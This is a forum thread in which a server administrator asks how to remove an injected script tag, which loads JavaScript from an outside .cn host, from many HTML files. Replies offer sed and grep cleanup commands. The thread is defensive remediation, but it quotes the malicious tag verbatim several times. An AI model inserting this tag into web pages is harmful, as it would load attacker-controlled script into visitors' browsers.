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Help Needed with grep & sed

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# 1  
Old 07-13-2010
Help Needed with grep & sed
On one of my servers, it appears that a bunch of html files got the following code added to it...


Quote:
<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>
I was going to try to remove this line using grep & sed... as sample
grep -lr -e 'apples' *.html | xargs sed -i 's/apples/oranges/g'

I can get the grep portion to work...
Code:
grep "<script src='http:\/\/b.rtbn2.cn\/E\/J.JS'[>][<]\/script[>]" *

But not the sed part ...

Any help would be appreciated...

DJ
# 2  
Old 07-13-2010
Hi,

try:

Code:
grep "<script src=[\']http:\/\/b.rtbn2.cn\/E\/J\.JS[\'][>][<]\/script[>]" file

HTH Chris
# 3  
Old 07-13-2010
I presume you are not trying to delete a line, but just that segment. You could try:
Code:
sed "s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||g" infile

If you have GNU sed at your disposal, you could run:
Code:
sed -i "s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||g" *.html

To do an inline replacement of those segments in all files at ones
Code:
sed -i.bck "s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||g" *.html

would create a backup copy (.bck) of the original
This User Gave Thanks to Scrutinizer For This Post:
djlane
# 4  
Old 07-13-2010
The grep part works great - but I can't seem to feed it to the sed command...

Dj
# 5  
Old 07-13-2010
Do it all with grep:

Code:
for file in *;do grep -v "<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>" $file > $$;mv $$ $file;done

# 6  
Old 07-13-2010
Scrutinizer:

Worked Great - many thanks...

Can I make this recursive for every folder under www
# 7  
Old 07-13-2010
From the directory above www:
Code:
find www -type f|while read file;do grep -v "<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>" $file > $$;mv $$ $file;done

...basically the same but using find to do the recursion down.
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